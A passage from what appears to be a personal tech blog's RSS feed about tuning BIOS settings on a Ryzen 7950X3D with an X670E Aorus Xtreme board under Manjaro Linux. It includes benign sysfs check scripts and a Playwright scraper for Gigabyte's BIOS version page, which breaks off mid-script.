    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>To run it it&rsquo;s the same thing: <code>nvidia-locker off</code> will lift the vfio-pci block and load the Nvidia drivers when I want to run an AI LLM natively on my Linux or render something in Blender with Cycles.</p>
<p>After I&rsquo;m done, and I want to run Windows in the VM. Ctrl-Alt-F3, fresh login on the plain text terminal, and <code>nvidia-locker on</code>. This will kill GDM, unload the NVIDIA drivers, reload the vfio-pci block and restart GDM so I can log back into graphical mode. And from there I can launch via the <code>virsh start</code> command or using the Virtual Machine Manager GUI if I want to use Display Spice, for example.</p>
<p>And that&rsquo;s it, the article is more so I don&rsquo;t forget what I did, to use as a reference in the future.</p>
]]></content:encoded><category>linux</category><category>hardware</category></item><item><title>BIOS Configuration of My PC - X670E Aorus Xtreme</title><link>https://akitaonrails.github.io/en/2025/04/17/bios-config-my-pc-x670e-aorus-xtreme/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2025/04/17/bios-config-my-pc-x670e-aorus-xtreme/</guid><pubDate>Thu, 17 Apr 2025 18:50:00 -0300</pubDate><description>&lt;p&gt;This is a note to myself, so I don&amp;rsquo;t forget, and maybe it helps someone else.&lt;/p&gt;
&lt;p&gt;I know every motherboard ships pre-configured with safe and conservative &amp;ldquo;defaults&amp;rdquo;, the most stable rather than the most performant. So if you don&amp;rsquo;t go into the BIOS to tweak things, you&amp;rsquo;re leaving performance on the table.&lt;/p&gt;
&lt;p&gt;I have an AMD Ryzen 9 7950X3D CPU. The processor is a package that works with two &amp;ldquo;dies&amp;rdquo;, I&amp;rsquo;m not sure if &amp;ldquo;chip&amp;rdquo; is a way to visualize it. Each one has 8 cores, totaling 16 cores, and each core has 2 threads, so 32 threads possible in parallel.&lt;/p&gt;</description><content:encoded><![CDATA[<p>This is a note to myself, so I don&rsquo;t forget, and maybe it helps someone else.</p>
<p>I know every motherboard ships pre-configured with safe and conservative &ldquo;defaults&rdquo;, the most stable rather than the most performant. So if you don&rsquo;t go into the BIOS to tweak things, you&rsquo;re leaving performance on the table.</p>
<p>I have an AMD Ryzen 9 7950X3D CPU. The processor is a package that works with two &ldquo;dies&rdquo;, I&rsquo;m not sure if &ldquo;chip&rdquo; is a way to visualize it. Each one has 8 cores, totaling 16 cores, and each core has 2 threads, so 32 threads possible in parallel.</p>
<p>But there&rsquo;s a difference: each die has different L3 caches. One of the dies has only 32MB and the other has 96MB, so heavier programs benefit from running on the cores of the die with more L3, and you can configure that.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/gcbhrzj8wuc38z3lonisck0ooeck" alt="lstopo"  loading="lazy" /></p>
<p>Besides that, it has a base clock of about 3GHz with the ability to turbo boost up to 5.7GHz. They can&rsquo;t all run at that speed or it heats up too fast and may &ldquo;thermal throttle&rdquo;, and then it drops everything below 3GHz. That&rsquo;s why, especially in laptops that don&rsquo;t have adequate thermal capacity, the best option is not overclocking but &ldquo;undervolting&rdquo; (cutting power so it runs less fast). Because it&rsquo;s better for everyone to be a bit less fast than for everyone to be super fast and immediately overheat and slow everyone down. It&rsquo;s complex.</p>
<p>To complicate things further, I have 96GB of DDR5 6000 RAM. Capable of a theoretical maximum of 6GHz, but that&rsquo;s theoretical because everything can desync and cause instabilities up to a kernel panic crash. That&rsquo;s why the motherboard default is the base speed of about 4GHz and the CPU also maxing out at around 4GHz.</p>
<p>But you can push that up a bit without making it unstable. In short, here&rsquo;s what I did:</p>
<h2>PBO - Precision Boost Overdrive<span class="hx:absolute hx:-mt-20" id="pbo---precision-boost-overdrive"></span>
    <a href="#pbo---precision-boost-overdrive" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Ryzen CPUs have PBO to turbo boost the core clocks. It usually ships either disabled or in a conservative configuration, so your 5.7GHz CPU may be running at only 4GHz or less and never delivering its maximum.</p>
<p>To adjust this, if you want to get advanced, you need to tweak parameters like PPT (Package Power Tracking) to 200W or more. TDC (Thermal Design Current) to 160A or more. EDC (Electrical Design Current) to 200A or more. And you can set up a curve optimizer, per core, to negative (-10 or -20) to reduce voltage, which can allow higher boost clocks.</p>
<p>But this is very advanced, and you need to know a lot more about electrical stuff before
trying it. Better not risk it and not mess with this. On the screen below, don&rsquo;t leave it on Advanced, leave it on Auto:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/vxeurat4imakwzdl6artkzuqymmq" alt="PBO Advanced"  loading="lazy" /></p>
<p>Instead, it&rsquo;s better to mess with PBO Enhancement Presets, which is this screen below:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/a1vgigv3ka64xs6nclq9z2hh21w7" alt="PBO Presets"  loading="lazy" /></p>
<p><strong>70/80/90</strong> refers to the maximum temperature we allow the cores to reach. This will depend on whether you have a good cooling solution. Whether it&rsquo;s an AIO with liquid cooling or a <a href="https://noctua.at/en/nh-d15-g2"target="_blank" rel="noopener"><strong>Noctua NH-D15 G2</strong></a>, which is what I use. Noctua fans are extremely silent, I almost never hear them, and they have less maintenance and lower failure potential than liquid cooling. I prefer fewer moving parts to be safe.</p>
<p>[<img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/4d10atf2k9rb5pntb9eec5uzqk7u" alt="Noctua NH-D15 G2"  loading="lazy" /></p>
<p>Now those <strong>Level 1 to 5</strong> are the PPT/TDC/EDC tunings I mentioned, but already pre-defined and tested by the manufacturer. 1 is less aggressive, the most stable, while 5 is the most aggressive and can be unstable. The right approach is to start at <strong>90 level 5</strong> and decrease until you find the most stable for your system. This will vary; for instance, the more RAM you have, the less aggressive it seems you can be, especially the faster that RAM is.</p>
<p>In my case, right at the boot of my Manjaro Linux, it gave a kernel panic, which looks something like this:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/f25kqct9urmereleunhurknw40d4" alt="kernel panic"  loading="lazy" /></p>
<p>So I went back into the BIOS and tested different levels and, for my configuration, I could only get up to <strong>90 Level 2</strong>. This has been stable and so far I haven&rsquo;t had any random crashes.</p>
<p>Beyond that, recently (early 2025) motherboard manufacturers released firmware updates that opened access to a feature called <strong>X3D Turbo Mode</strong>. If you see this, don&rsquo;t think it&rsquo;s free extra performance. In reality, unless you use the machine more for games, you&rsquo;ll actually feel it got slower.</p>
<p>As I explained before, Ryzen 9 has 1 CCD (core complex), which is the die with 96MB of L3 cache (V-Cache). Turbo mode tries to force more programs onto the CCD that does <strong>NOT</strong> have V-Cache (the 32MB one), which can therefore reach a higher clock boost but has more latency. This is good for games, which usually don&rsquo;t benefit from having more cache but rather from more clock.</p>
<p>But at the same time, programs that need V-Cache will end up landing more often on the Core with <strong>LESS</strong> L3 cache and will then perform worse than before. Examples of that are 3D modeling programs like Blender, exactly what I want to use more now. So test it, but in principle you can leave it off.</p>
<p>This option in my firmware is called &ldquo;X3D Turbo Mode&rdquo; but elsewhere it may be &ldquo;3D V-Cache Performance Optimizer&rdquo;, same thing.</p>
<h2>XMP/EXPO RAM<span class="hx:absolute hx:-mt-20" id="xmpexpo-ram"></span>
    <a href="#xmpexpo-ram" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Now, DDR5 RAM boots at the base clock of about 4.8GHz. But depending on the RAM model, it can go much higher, in my case up to 6GHz. All modern memory also has several settings like frequency, latency, voltage, and more. Again, it&rsquo;s not worth trying to set these by hand. Better to use predefined profiles. Intel calls this support <strong>XMP</strong> and AMD calls it <strong>EXPO</strong>.</p>
<p>I forgot to take a photo of my BIOS, but this slightly older photo from Google Images is the same thing. XMP/EXPO ships disabled (conservative) but you just pick the profile that already exists:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/ypwo0rsbr1bmu6w6ujm7b1qyjlof" alt="XMP/EXPO Profile"  loading="lazy" /></p>
<p>Note that just below there are things like <strong>Low Latency Support</strong> and <strong>High Bandwidth Support</strong>. Theoretically to reduce latency and increase transfer bandwidth. All of which sounds great, but in my case it doesn&rsquo;t work. If I try to enable both, my system doesn&rsquo;t boot. I was forced to clear the CMOS to reset the BIOS without that.</p>
<p>The problem: possibly too much memory (96GB). Maybe if you have less, around 32GB, this works, but it seems the more you have, the more unstable it gets if you try to go too fast.</p>
<p>Another problem, on DDR5, the more memory, the slower the Cold Boot, the initial boot when the PC was off. The BIOS has to do a check on the memory to ensure those parameters, response time and so on. And this happens on <strong>EVERY</strong> boot. It can take a few minutes and some people might even think the machine is frozen, but it&rsquo;s just that check.</p>
<p>In the BIOS there&rsquo;s an option called <strong>Memory Context Restore</strong> where it uses the parameters it recorded the last time it did that check. But I don&rsquo;t recommend it; for me it doesn&rsquo;t even boot anymore after enabling it. Theoretically it would cut down the check time and reuse old data, but that data may not match (the values can fluctuate) and that makes the whole system unstable. Better to wait an extra minute on boot than to live with an unstable system.</p>
<p>In advanced memory settings there&rsquo;s one more thing we should change: <strong>DF C-States</strong>, which needs to be <strong>DISABLED</strong>. In theory this feature is to reduce the latency between CPU and memory. But on systems with a lot of RAM (96GB or more like mine) this can also cause instability for not much noticeable gain. I prefer staying stable in this case.</p>
<p>Another setting to change is <strong>Power Supply Idle Control</strong>, which has to be set to &ldquo;Typical Current Idle&rdquo;, and so far (a firmware fix update may come), it&rsquo;s mandatory for Ryzen processors (even AM5). This prevents the &ldquo;Deep Power State&rdquo; sleep state, which can cause random kernel panics.</p>
<p>Same thing for <strong>Global C-State Control</strong>, which also needs to be disabled for the same reason: avoid &ldquo;deep sleep states&rdquo; (C6/C10) when the CPU sits in &ldquo;idle&rdquo; (doing nothing) for too long. These features exist to save energy, but it seems AMD has bugs when the CPU is forced into that state and when it wakes up, it comes back unstable or crashing. So it&rsquo;ll consume more energy when doing nothing (around less than 20W, rather than near zero), but at least it won&rsquo;t be unstable. If you want to save energy, the better option is to shut down and actually cut the power when not using it.</p>
<h2>BIOS Summary (for me)<span class="hx:absolute hx:-mt-20" id="bios-summary-for-me"></span>
    <a href="#bios-summary-for-me" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><ul>
<li>PBO Enhancement: <strong>90 Level 2</strong> (clock boost slightly more aggressive than the default)</li>
<li>Power Supply Idle Control: <strong>Typical Current Idle</strong> (prevents the idle crash bug)</li>
<li>Global C-State Control: <strong>Disabled</strong> (avoids deep sleep, which causes instability)</li>
<li>DF C-States: <strong>Disabled</strong> (also avoids sleep, improving Infinity Fabric latency)</li>
<li>XMP/EXPO: <strong>Profile XMP1</strong> if you have it (raises the memory clock)</li>
</ul>
<p>There are 2 important things, especially if you&rsquo;re using discrete GPUs:</p>
<ul>
<li>Above 4G Decoding and Re-Size Bar Support. In my case both are on by default; if yours are off, turn them on.</li>
</ul>
<p>On Linux, you can check if it&rsquo;s enabled. Run the following:</p>
<p><code>sudo lspci -vv | grep -A 15 VGA</code></p>
<p>You should see &ldquo;Resizable BAR&rdquo; like this:</p>
<p><code>Capabilities: [XX] PCI Express, ... Resizable BAR: Supported (Enabled)</code></p>
<p>If it doesn&rsquo;t show up, go to the BIOS and look for it to enable. Without this you&rsquo;re not using the maximum of your video card. I think on iGPUs (which are GPUs already built into the CPU) this option doesn&rsquo;t exist.</p>
<h2>Linux-Zen Kernel<span class="hx:absolute hx:-mt-20" id="linux-zen-kernel"></span>
    <a href="#linux-zen-kernel" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I&rsquo;ve always used the most stable LTS default kernel, currently Linux66, if I&rsquo;m not mistaken. But I remembered I can use the Zen kernel, which is the same default kernel Arch uses with performance tunings to improve latency, especially in multi-thread. It switches to the CFS scheduler with improvements. Theoretically, it improves overall system responsiveness. I think it&rsquo;s worth using. On Arch/Manjaro it&rsquo;s like this:</p>
<p><code>yay -S linux-zen-versioned-bin linux-zen-versioned-headers-bin</code></p>
<p>This will uninstall the old kernel and, if you&rsquo;re using NVIDIA GPUs, it&rsquo;ll also uninstall the driver package. So you also need to install the following package:</p>
<p><code>yay -S nvidia-dkms</code></p>
<p>And then, with everything installed, run the following command:</p>
<p><code>sudo dkms autoinstall</code></p>
<p>This will reinstall the nvidia driver binaries for the new Zen kernel. In Manjaro&rsquo;s case, you don&rsquo;t need to mess with GRUB because in my case it&rsquo;s set to <code>GRUB_DEFAULT=saved</code> in <code>/etc/default/grub</code>. That means when it reboots, it&rsquo;ll record which kernel I last chose, and on the next reboot, if I don&rsquo;t choose anything, it&rsquo;ll load again the last kernel I picked. I prefer it this way over hard-coding which kernel is the default.</p>
<p>Once that&rsquo;s done, on the next boot just check:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>❯ uname -r
6.14.2-zen1-1-zen</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Another thing is to check if <strong>CPPC</strong> is active. That&rsquo;s <strong>Collaborative Processor Performance Control</strong>, a feature that exposes to the OS kernel a ranking of cores (which has the highest boost, which has more cache, etc). Remember the X3D Turbo Mode I mentioned earlier? Same concept: to help the OS pick which core to send each program to so it runs better.</p>
<p>Not every motherboard firmware exposes this as an option; in the case of my Gigabyte X670E, it doesn&rsquo;t exist. That probably means it&rsquo;s already on by default. To check if it&rsquo;s on, just go to the Linux terminal and run:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>cat /sys/devices/system/cpu/cpu*/cpufreq/amd_pstate_highest_perf</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>If it returns any result, it means it&rsquo;s on and the firmware is informing the kernel about the characteristics of each core, so the scheduler has more information to manage where to send each thread.</p>
<p>Another way to check:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>ls /sys/devices/system/cpu/cpu0/cpufreq/</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>It needs to return a list containing names like these:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>amd_pstate_highest_perf
amd_pstate_nominal_perf
amd_pstate_preferred_core</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Which, again, is a sign that Linux is recognizing CPPC properly.</p>
<p>Manjaro itself, besides the stable kernels, has the &ldquo;linux-rt&rdquo; versions which are for real-time systems. Technically, this is meant not just for lower latency, but for stable and more predictable latencies. <strong>DO NOT USE THIS KIND OF KERNEL</strong>. This is for factory systems or things like that which need processing determinism and have no tolerance for random latency. It doesn&rsquo;t mean it&rsquo;ll run more responsively; it might even run slower, but the important thing is that it&rsquo;s a predictable slow.</p>
<p>Others might mention the <strong>Linux Liquorix</strong> kernel, which many compare to Zen. But while Zen is based on the same kernel Arch uses, Liquorix&rsquo;s is based on the Debian/Ubuntu version. So it&rsquo;s not recommended on Arch/Manjaro. On top of that it&rsquo;s more experimental and theoretically less stable too. Use it if you&rsquo;re on Ubuntu or derivatives. On Arch, better stick with Zen.</p>
<h2>check_ryzen_perf.sh<span class="hx:absolute hx:-mt-20" id="check_ryzen_perfsh"></span>
    <a href="#check_ryzen_perfsh" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>If you have a Ryzen system, copy the following script and run it on your machine:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;🔍 Verifying Ryzen 7950X3D Tuning on Linux&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> -n <span class="s2">&#34;✅ CPU Driver: &#34;</span>
</span></span><span class="line"><span class="cl">grep . /sys/devices/system/cpu/cpu0/cpufreq/scaling_driver
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> -n <span class="s2">&#34;✅ EPP Mode: &#34;</span>
</span></span><span class="line"><span class="cl">cat /sys/devices/system/cpu/cpu0/cpufreq/energy_performance_preference
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> -n <span class="s2">&#34;✅ CPPC Detected: &#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[</span> -f /sys/devices/system/cpu/cpu0/cpufreq/amd_pstate_highest_perf <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;Yes&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;No&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> -n <span class="s2">&#34;✅ Preferred Core Ranking: &#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[</span> -f /sys/devices/system/cpu/cpu0/cpufreq/amd_pstate_prefcore_ranking <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;Yes&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;No&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> -n <span class="s2">&#34;✅ Running Kernel: &#34;</span>
</span></span><span class="line"><span class="cl">uname -r
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> -e <span class="s2">&#34;\n✅ All key Linux-side Ryzen tuning options appear active.\n&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>On my machine it now produces this result:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>🔍 Verifying Ryzen 7950X3D Tuning on Linux
✅ CPU Driver: amd-pstate-epp
✅ EPP Mode: performance
✅ CPPC Detected: Yes
✅ Preferred Core Ranking: Yes
✅ Running Kernel: 6.14.2-zen1-1-zen

✅ All key Linux-side Ryzen tuning options appear active.</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Saying that, theoretically, all the performance bits seem to be active and working. If one of them isn&rsquo;t, ask ChatGPT what to do for your setup.</p>
<h2>Checking the BIOS Version<span class="hx:absolute hx:-mt-20" id="checking-the-bios-version"></span>
    <a href="#checking-the-bios-version" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Many motherboard manufacturers offer software, for Windows, to automatically download and update the firmware. But in Gigabyte&rsquo;s case, there&rsquo;s no Linux support. To check which version is currently installed, without having to enter the BIOS, on Linux there&rsquo;s this command:</p>
<p><code>sudo dmidecode -s bios-version</code></p>
<p>In my case, it now returns F33 (March 2025 version). Now, to compare whether that&rsquo;s the newest version, I just have to manually go to Gigabyte&rsquo;s crappy site, which in my case is <a href="https://www.gigabyte.com/Motherboard/X670E-AORUS-XTREME-rev-10/support"target="_blank" rel="noopener">this link</a>. For your specific model, and manufacturer of course, this link will vary.</p>
<p><a href="https://www.gigabyte.com/Motherboard/X670E-AORUS-XTREME-rev-1x/support#support-dl"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/72l1if05q22u1ogowfzws9rtz95j" alt="x670e support page"  loading="lazy" /></a></p>
<p>To make it worse, it seems the content is loaded asynchronously by javascript, so if you try to use <code>wget</code> or <code>curl</code> from the command line, the content won&rsquo;t have loaded yet.</p>
<p>I decided to write a dumb script to solve that. First, in case you don&rsquo;t use <code>mise</code> like I do (see my Github project <a href="https://github.com/akitaonrails/omakub-mj"target="_blank" rel="noopener">Omakub-MJ</a> for a setup just like mine), install Node manually like this:</p>
<p><code>sudo pacman -S nodejs npm</code></p>
<p>Create some directory for the project and from there do:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>npm init -y
npm install -g playwright
npx playwright install</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Create a file <code>check_bios_playwright.js</code> with this content:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">const</span> <span class="p">{</span> <span class="nx">chromium</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="s1">&#39;playwright&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">(</span><span class="kr">async</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">browser</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">chromium</span><span class="p">.</span><span class="nx">launch</span><span class="p">({</span> <span class="nx">headless</span><span class="o">:</span> <span class="kc">true</span> <span class="p">});</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">page</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">browser</span><span class="p">.</span><span class="nx">newPage</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// Load support page
</span></span></span><span class="line"><span class="cl">  <span class="kr">await</span> <span class="nx">page</span><span class="p">.</span><span class="kr">goto</span><span class="p">(</span><span class="s1">&#39;https://www.gigabyte.com/Motherboard/X670E-AORUS-XTREME-rev-10/support&#39;</span><span class="p">,</span> <span class="p">{</span> <span class="nx">waitUntil</span><span class="o">:</span> <span class="s1">&#39;domcontentloaded&#39;</span> <span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// Click the BIOS tab manually (it triggers JS to fetch content)
</span></span></span><span class="line"><span class="cl">  <span class="kr">await</span> <span class="nx">page</span><span class="p">.</span><span class="nx">click</span><span class="p">(</span><span class="s1">&#39;id=bios-count&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// Wait for BIOS version element to load
</span></span></span><span class="line"><span class="cl">  <span class="kr">await</span> <span class="nx">page</span><span class="p">.</span><span class="nx">waitForSelector</span><span class="p">(</span><span class="s1">&#39;.div-table-body-BIOS .download-version&#39;</span><span class="p">,</span> <span class="p">{</span> <span class="nx">timeout</span><span class="o">:</span> <span class="mi">60000</span> <span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// Grab the first BIOS version listed
</span></span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">biosVersion</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">page</span><span class="p">.</span><span class="nx">$eval</span><span class="p">(</span><span class="s1">&#39;.div-table-body-BIOS .download-version&#39;</span><span class="p">,</span> <span class="nx">el</span> <span class="p">=&gt;</span> <span class="nx">el</span><span class="p">.</span><span class="nx">innerText</span><span class="p">.</span><span class="nx">trim</span><span class="p">());</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;🌐 Latest BIOS Version on Gigabyte site:&#39;</span><span class="p">,</span> <span class="nx">biosVersion</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="kr">await</span> <span class="nx">browser</span><span class="p">.</span><span class="nx">close</span><span class="p">();</span>
